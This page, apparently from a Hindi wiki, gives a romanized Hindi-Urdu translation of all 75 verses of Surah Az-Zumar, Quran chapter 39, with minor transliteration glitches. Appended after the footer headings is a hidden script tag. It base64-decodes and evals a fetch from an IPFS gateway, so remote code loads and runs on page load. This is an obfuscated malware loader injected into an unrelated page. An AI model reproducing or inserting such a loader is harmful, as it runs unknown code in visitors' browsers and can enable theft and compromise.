अज़-ज़ुमार
az-zumar islam dharm ke pavitr granth quran ka 39vaan soora (adhyay) hai jisamean 75 ayatean hoti haian.
39:1- (is) kitab (quran) ka nazil karana us khuda ki baragah se hai jo (sab par) galib hikamat vala hai.
39:2- (ai rasool) hamane kitab (quran) ko bilkul thik nazil kiya hai to tum ibadat ko usi ke lie nira khura karake khuda ki bandagi kiya karo.
39:3- agah raho ki ibadat to khas khuda hi ke lie hai aur jin logoan ne khuda ke siva (auroan ko apana) saraparast bana rakha hai aur kahate haian ki ham to unaki parasatish sirf isalie karate haian ki ye log khuda ki baragah mean hamara taqarrab badha deange isamean shak nahian ki jis bat mean ye log jhag date haian (qayamat ke din) khuda unake daramiyan isamean phaisala kar dega beshak khuda jhoothe nashukre ko manzile maqasood tak nahian pahuanchaya karata.
39:4- agar khuda kisi ko (apana) beta banana chahata to apane makhalooqat mean se jise chahata muntakhib kar leta (magar) vah to usase pak v pakiza hai vah to yakata b da zabaradast allah hai.
39:5- usi ne sare asaman aur zamin ko baja (duroost) paida kiya vahi rat ko din par oopar tale lapetata hai aur vahi din ko rat par tah b tah lapetata hai aur usi ne aphatab aur mahatab ko apane bas mean kar liya hai ki ye sabake sab apane (apane) muqararr vakt chalate rahegean agah raho ki vahi galib b da bakhshane vala hai.
39:6- usi ne tum sabako ek hi shakhs se paida kiya phir us (ki baqi mitti) se usaki bibi (hauvva) ko paida kiya aur usi ne tumhare lie ath qism ke charapae paida kie vahi tumako tumhari maanoan ke pet mean ek qism ki paidaish ke bad doosari qism (nutphe jama hua khoon loth da) ki paidaish se tehare tehare aandheroan (pet) raham aur jhilli mean paida karata hai vahi allah tumhara paravaradigar hai usi ki badashahi hai usake siva mabood nahian to tum log kahaan phire jate ho.
39:7- agar tumane usaki nashukri ki to (yad rakho ki) khuda tumase bilkul beparavah hai aur apane bandoan se kuphr aur nashukri ko pasand nahian karata aur agar tum shukr karoge to vah usako tumhare vaste pasand karata hai aur (qayamat mean) koee kisi (ke gunah) ka bojh (apani gardan par) nahian uthaega phir tumako apane paravaradigar ki taraph lautana hai to (duniya mean) jo kuchh (bhala bura) karate the vah tumhean bata dega vah yaqinan diloan ke raz (tak) se khoob vaqiph hai.
39:8- aur adami (ki halat to ye hai ki) jab usako koee takaliph pahuanchati hai to usi ki taraph roojoo karake apane paravaradigar se dua karata hai (magar) phir jab khuda apani taraph se use neamat ata farama deta hai to jis kam ke lie pahale usase dua karata tha use bhula deta hai aur balki khuda ka sharik banane lagata hai taki (us zarie se aur logoan ko bhi) usaki rah se gumarah kar de (ai rasool aise shakhs se) kah do ki tho de dinoan aur apane kuphr (ki halat) mean chain kar lo.
39:9- (akhir) too yaqini jahannumiyoan mean hoga kya jo shakhs rat ke avaqat mean sajada karake aur kh de-kh de (khuda ki) ibadat karata ho aur akherat se darata ho apane paravaradigar ki rahamat ka ummidavar ho (nashukre) kaphir ke barabar ho sakata hai (ai rasool) tum poochho to ki bhala kahian janane vale aur n jananevale log barabar ho sakate haian (magar) nasihat ibaratean to bas aklamand hi log manate haian.
39:10- (ai rasool) tum kah do ki ai mere eemanadar bandoan apane paravaradigar (hi) se darate raho (kyoanki) jin logoan ne is duniya mean neki ki unhian ke lie (akherat mean) bhalaee hai aur khuda ki zamin to kushada hai (jahaan ibadat n kar sako use chho d do) sabr karane valoan hi ki to unaka bharapoor behisab badala diya jaega.
39:11- (ai rasool) tum kah do ki mujhe to ye hukm diya gaya hai ki maian ibadat ko usake lie khas karake khuda hi ki bandagi karo.
39:12- aur mujhe to ye hukm diya gaya hai ki maian sabase pahal musalaman hooan.
39:13- (ai rasool) tum kah do ki agar maian apane paravaradigar ki napharamani karooan to maian ek b di (sakht) din (qayamat) ke azab se darata hooan.
39:14- (ai rasool) tum kah do ki maian apani ibadat ko usi ke vaste khalis karake khuda hi ki bandagi karata hooan (ab rahe tum) to usake siva jisako chaho poojo.
39:15- (ai rasool) tum kah do ki phil haqiqat ghate mean vahi log haian jinhoanne apana aur apane l dake valoan ka qayamat ke din ghata kiya agah raho ki sarihi (khullam khulla) ghata yahi hai ki unake lie unake oopar se ag hi ke odhane hoange.
39:16- aur unake niche bhi (ag hi ke) bichhaune ye vah azab hai jisase khuda apane bandoan ko darata hai to ai mere bandoan mujhi se darate raho.
39:17- aur jo log butoan se unake poojane se bache rahe aur khuda hi ki taraph rooju ki unake lie (jannat ki) khushakhabari hai.
39:18- to (ai rasool) tum mere (khas) bandoan ko khushakhabari de do jo bat ko ji lagakar sunate haian aur phir usamean se achchhi bat par amal karate haian yahi vah log haian jinaki khuda ne hidayat ki aur yahi log aklamand haian.
39:19- to (ai rasool) bhala jis shakhs par azab ka vayada poora ho chuka ho to kya tum us shakhs ki khalasi de sakate ho.
39:20- jo ag mean (p da) ho magar jo log apane paravaradigar se darate rahe unake ooanche-ooanche mahal haian (aur) bala khanoan par balakhane bane hue haian jinake niche naharean jari haian ye khuda ka vayada hai (aur) vayada khilaphi nahian kiya karata.
39:21- kya tumane is par gaur nahian kiya ki khuda hi ne asaman se pani barasaya phir usako zamin mean chashmean banakar jari kiya phir usake zarie se rang birang (ke galle) ki kheti ugata hai phir (pakane ke bad) sookh jati hai to tum ko vah zard dikhayi deti hai phir khuda use choor-choor bhoosa kar deta hai beshak isamean aklamandoan ke lie (b di) ibarat v nasihat hai.
39:22- to kya vah shakhs jis ke sine ko khuda ne (qubool) islam ke lie kushada kar diya hai to vah apane paravaradigar (ki hidayat) ki raushani par (chalata) hai magar gumarahoan ke barabar ho sakata hai aphasos to un logoan par hai jinake dil khuda ki yad se (gafil hokar) sakht ho ge haian.
39:23- ye log sarihi gumarahi mean (p de) haian khuda ne bahut hi achchha kalam (yavi ye) kitab nazil pharamaee (jisaki ayatean) ek doosare se milati julati haian aur (ek bat kee-kee bar) doharaee gayi hai usake sunane se un logoan ke roangate kh de ho jate haian jo apane paravaradigar se darate haian phir unake jism naram ho jate haian aur unake dil khuda ki yad ki taraph ba itamenan mutavajje ho jate haian ye khuda ki hidayat hai isi se jisaki chahata hai hidayat karata hai aur khuda jisako gumarahi mean chho d de to usako koee rah par lane vala nahian
39:24- to kya jo shakhs qayamat ke din apane muanh ko b de azab ki sipar banaega (nazi ke barabar ho sakata hai) aur zalimoan se kaha jaega ki tum (duniya mean) jaisa kuchh karate the ab usake maze chakho.
39:25- jo log unase pahale guzar ge unhoanne bhi (paigambaroan ko) jhuthalaya to un par azab is tarah a pahuancha ki unhean khabar bhi n huee.
39:26- to khuda ne unhean (isi) duniya ki zindagi mean roosavaee ki lajzat chakha di aur akherat ka azab to yaqini usase kahian badhakar hai kash ye log ye bat janate
39:27- aur hamane to is quran mean logoan ke (samajhane ke) vaste har tarah ki misal bayan kar di hai taki ye log nasihat hasil karean.
39:28- (ham ne to saph aur salis) ek arabi quran (nazil kiya) jisamean zara bhi kaji (pechidagi) nahian.
39:29- taki ye log (samajhakar) khuda se dare khuda ne ek misal bayan ki hai ki ek shakhs (gulam) hai jisamean kee jhag daloo sajhi haian aur ek zalim hai ki poora ek shakhs ka hai un donoan ki halat yakasaan ho sakati haian (haragiz nahian) alhamadolillah magar unamean aksar itana bhi nahian janate.
39:30- (ai rasool) beshak tum bhi marane vale ho.
39:31- aur ye log bhi yaqinan marane vale haian phir tum log qayamat ke din apane paravaradigar ki baragah mean baham jhag doge.
39:32- to isase badhakar zalim kaun hoga jo khuda par jhooth (toophan) baandhe aur jab usake pas sachchi bat ae to usako jhuthala de kya jahannum mean kaaphiroan ka thikana nahian hai.
39:33- (zaroor hai) aur yad rakho ki jo shakhs (rasool) sachchi bat lekar aya vah aur jisane usaki tasadiq ki yahi log to parahezagar haian.
39:34- ye log jo chaheange unake lie paravar digar ke pas (maujood) hai, ye neki karane valoan ki jazae khair hai.
39:35- taki khuda un logoan ki buraiyoan ko jo unhone ki haian door kar de aur unake achchhe kamoan ke evaz jo vah kar chuke the usaka ajr (savab) ata pharamae.
39:36- kya khuda apane bandoan (ki madad) ke lie kafi nahian hai (zaroor hai) aur (ai rasool) tumako log khuda ke siva (doosare maboodoan) se darate haian aur khuda jise gumarahi mean chho d de to usaka koee rah par lane vala nahian hai.
39:37- aur jis shakhs ki hidayat kare to usaka koee gumarah karane vala nahian. kya khada zabaradast aur badala lene vala nahian hai (zaroor hai).
39:38- aur (ai rasool) agar tum inase poochho ki sare asaman v zamin ko kisane paida kiya to ye log yaqinan kaheange ki khuda ne, tum kah do ki to kya tumane gaur kiya hai ki khuda ko chho d kar jin logoan ki tum ibadat karate ho agar khuda mujhe koee taqaliph pahuanchana chahe to kya vah log usake nuqasan ko (mujhase) rok sakate haian ya agar khuda mujh par meharabani karana chahe to kya vah log usaki meharabani rok sakate haian (ai rasool) tum kaho ki khuda mere lie kafi hai usi par bharosa karane vale bharosa karate haian.
39:39:(ai rasool) tum kah do ki ai meri qaum tum apani jagah (jo chaho) amal kie jao mai.
39:40- bhi (apani jagah) kuchh kar raha hooan, phir anaqarib hi tumhean maloom ho jaega ki kis par vah aphat ati hai jo usako (duniya mean) roosava kar degi aur (akhir mean) us par dayami azab bhi nazil hoga.
39:41- (ai rasool) hamane tumhare pas (ye) kitab (quran) sachchaee ke sath logoan (ki hidayat) ke vaste nazil ki hai, pas jo rah par aya to apane hi (bhale ke) lie aur jo gumarah hua to usaki gumarahi ka vabal bhi usi par hai aur phir tum kuchh unake zimmedar to ho nahian.
39:42- khuda hi logoan ke marane ke vakt unaki roohean (apani taraf) khianch bulata hai aur jo log nahian mare (unaki roohean) unaki niand mean (khianch li jati haian) bas jin ke bare mean khuda maut ka hukm de chuka hai unaki roohoan ko rok rakhata hai aur baqi (sone valoan ki roohoan) ko phir ek muqarrar vakt tak ke vaste bhej deta hai jo log (gaur) aur fikr karate haian unake lie (qudarate khuda ki) yaqini bahut si nishaniyaan haian.
39:43- kya un logoan ne khuda ke siva (doosare) sipharishi bana rakhe hai (ai rasool) tum kah do ki agarache vah log n kuchh ekhateyar rakhate hoan n kuchh samajhate hoan.
39:44- (to bhi sipharishi banaoge) tum kah do ki sari sipharish to khuda ke lie khas hai- sare asaman v zamin ki hukoomat usi ke lie khas hai, phir tum logoan ko usaki taraph laut kar jana hai.
39:45- aur jab sirph allah ka zikr kiya jata hai to jo log akherat par eeman nahian rakhate unake dil mutanafifar ho jate haian aur jab khuda ke siva aur (maboodoan) ka zikr kiya jata hai to bas phauran unaki bachhean khil jati haian.
39:46- (ai rasool) tum kah do ki ai khuda (ai) sare asaman aur zamin paida karane vale, zahir v batin ke janane vale haq batoan mean tere bande apas mean jhag d rahe haian too hi unake daramiyan phaisala kar dega.
39:47- aur agar napharamanoan ke pas rooe zamin ki sari kaenat mil jaeg balki unake sath utani hi aur bhi ho to qayamat ke din ye log yaqinan sakht azab ka fidaya de nikalean (aur apana chhutakara karana chahean) aur (us vakt) unake samane khuda ki taraph se vah bat pesh aegi jisaka unhean vaham v guman bhi n tha.
39:48- aur jo badakiradariyaan un logoan ne ki thian (vah sab) unake samane khul jaeangian aur jis (azab) par yah log qahaqahe lagate the vah unhean gherega.
39:49- insan ko to jab koee buraee chhoo gayi bas vah laga hamase duaean maangane, phir jab ham use apani taraf se koee neamat ata karate haian to kahane lagata hai ki ye to sirph (mere) ilm ke zor se mujhe diya gaya hai (ye galati hai) balki ye to ek azamaish hai magar un mean ke aksar nahian janate haian.
39:50- jo log unase pahale the vah bhi aisi batean baka karate the phir (jab hamara azab aya) to unaki karastaniyaan unake kuchh bhi kam n aee.
39:51- garaz unake amal ke bure natije unhean bhugatane p de aur un (kuphfare makka) mean se jin logoan ne napharamaniyaan ki haian unhean bhi apane apane amal ki sazaean bhugatani p deangi aur ye log (khuda ko)e ajiz nahian kar sakate.
39:52- kya un logoan ko itani bat bhi maloom nahian ki khuda hi jisake lie chahata hai rozi pharakh karata hai aur (jisake lie chahata hai) tang karata hai isamean shak nahian ki kya isamean eemanadar logoan ke (kudarat ki) bahut si nishaniyaan haian.
39:53- (ai rasool) tum kah do ki ai mere (eemanadar) bandoan jinhone (gunah karake) apani janoan par jyadatiyaan ki haian tum log khuda ki rahamat se naummid n hona beshak khuda (tumhare) kul gunahoan ko bakhsh dega vah beshak b da bakhshane vala meharaban hai.
39:54- aur apane paravaradigar ki taraph roojoo karo aur usi ke pharamabaradar ban jao (magar) us vakt qe qabl hi ki tum par jab azab a nazil ho (aur) phir tumhari madad n ki ja sake.
39:55- aur jo jo achchhi batean tumhare paravaradigar ki taraph se tum par nazil hee haian un par chalo (magar) usake qabl ki tum par ek baragi azab nazil ho aur tumako usaki khabar bhi n ho.
39:56- (kahian aisa n ho ki) (tumamean se) koee shakhs kahane lage ki hae afasos meri is kotahi par jo maine khuda (ki baragah) ka taqarrub hasil karane mean ki aur maian to bas un batoan par hansata hi raha.
39:57- ya ye kahane lage ki agar khuda meri hidayat karata to maian zaroor parahezagaroan mean se hota.
39:58- ya jab azab ko (ate) dekhean to kahane lage ki kash mujhe (duniya mean) phir dobara jana mile to maian neki karoan mean ho jaooan.
39:59- us vakt khuda kahega ( haan ) haan tere pas meri ayatean pahuanchi to toone unhean jhuthalaya aur shekhi kar baitha aur too bhi kaphiroan mean se tha (ab teri ek n suni jaegi).
39:60- aur jin logoan ne khuda par jhoothe bohatan baandhe - tum qayamat ke din dekhoge unake chehare siyah hoange kya guroor karane valoan ka thikana jahannum mean nahian hai (zaroor hai).
39:61- aur jo log parahezagar haian khuda unhean unaki kamayabi (aur sadat) ke sabab nijat dega ki unhean takaliph chhuegi bhi nahian aur n yah log (kisi tarah) ranjida dil hoange.
39:62- khuda hi har chiz ka janane vala hai aur vahi har chiz ka nigehaban hai.
39:63- sare asaman v zamin ki kunjiyaan usake pas hai aur jo log usaki ayatoan se inkar kar baithean vahi ghate mean rahegean.
39:64- (ai rasool) tum kah do ki nadanoan bhala tum mujhase ye kahate ho ki maian khuda ke siva kisi doosare ki ibadat karooan.
39:65- aur (ai rasool) tumhari taraph aur un (paigambaroan) ki taraph jo tumase pahale ho chuke haian yaqinan ye vahi bheji ja ki hai ki agar (kahian) shirk kiya to yaqinan tumhare sare amal akarat ho jaeange aur tum to zaroor ghate mean a jaoge.
39:66- balki tum khuda hi ki ibadat karo aur shukr guzaroan mean ho.
39:67- aur un logoan ne khuda ki jaisi qadr dani karani chahie thi usaki ( kuchh bhi ) kadr n ki halaanki ( vah aisa qadir hai ki) qayamat ke din sari zamin (goya) usaki mutthi mean hogi aur sare asaman (goya) usake dahine hath mean lipate hue haian jise ye log usaka sharik banate haian vah usase pakiza aur baratar hai.
39:68- aur jab (pahali bar) soor phanka jaega to jo log asamanoan mean haian aur jo log zamin mean haian (maut se) behosh hokar gir p deangean) magar (haan) jis ko khuda chahe vah alabatta bach jaega) phir jab dobara soor phooanka jaega to phauran sab ke sab kh de ho kar dekhane lageange.
39:69- aur zamin apane paravaradigar ke noor se jagamaga uthegi aur (amal ki) kitab (logoan ke samane) rakh di jaegi aur paigambar aur gavah la hazir kie jaeange aur unamean insaph ke sath phaisala kar diya jaega aur un par ( zarra barabar ) zulm nahian kiya jaega.
39:70- aur jis shakhs ne jaisa kiya ho use usaka poora poora badala mil jaega, aur jo kuchh ye log karate haian vah usase khoob vaqiph hai.
39:71- aur jo log kaphir the unake gol ke gol jahannum ki taraph hॅkae jaeange aur yahaan tak ki jab jahannum ke pas pahuanchegean to usake daravaze khol die jaegean aur usake daroga unase poochheange ki kya tum logoan mean ke paigambar tumhare pas nahian ae the jo tumako tumhare paravaradigar ki ayatean padhakar sunate aur tumako is roz (bad) ke pesh ane se darate vah log javab degean ki haan (ae to the) magar (hamane n mana) aur azab ka hukm kaphiroan ke bare mean poora ho kar rahega.
39:72- (tab unase) kaha jaega ki jahannum ke daravazoan mean dhanso aur hamesha isi mean raho garaz takabbur karane vale ka (bhi) kya bura thikana hai.
39:73- aur jo log apane paravaradigar se darate the vah girdo girda (giroh giroh) behisht ki taraf (ejaz v ikaram se) bulae jaegean yahaan tak ki jab usake pas pahuanchegean aur behisht ke daravaze khol diye jaeange aur usake nigehaban un se kaheangean salam alaikum tum achchhe rahe, tum behisht mean hamesha ke lie dakhil ho jao.
39:74- aur ye log kaheangean khuda ka shukr jisane apana vayada hamase sachcha kar dikhaya aur hamean (behisht ki) sarazamin ka malik banaya ki ham behisht mean jahaan chahean rahean to nek chalan valoan ki bhi kya khoob (khari) mazadoori hai.
39:75- aur (us din) pharishtoan ko dekhoge ki arsh ke girda gird ghere hue date hoange aur apane paravaradigar ki tariph ki (tasabih) kar rahe hoange aur logoan ke daramiyan thik phaisala kar diya jaega aur (har taraph se yahi) sada buland hogi alhamado lillahe rabbil alemin.
|
|
|
|
|
|
tika tippani aur sandarbh
bahari k diyaan
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>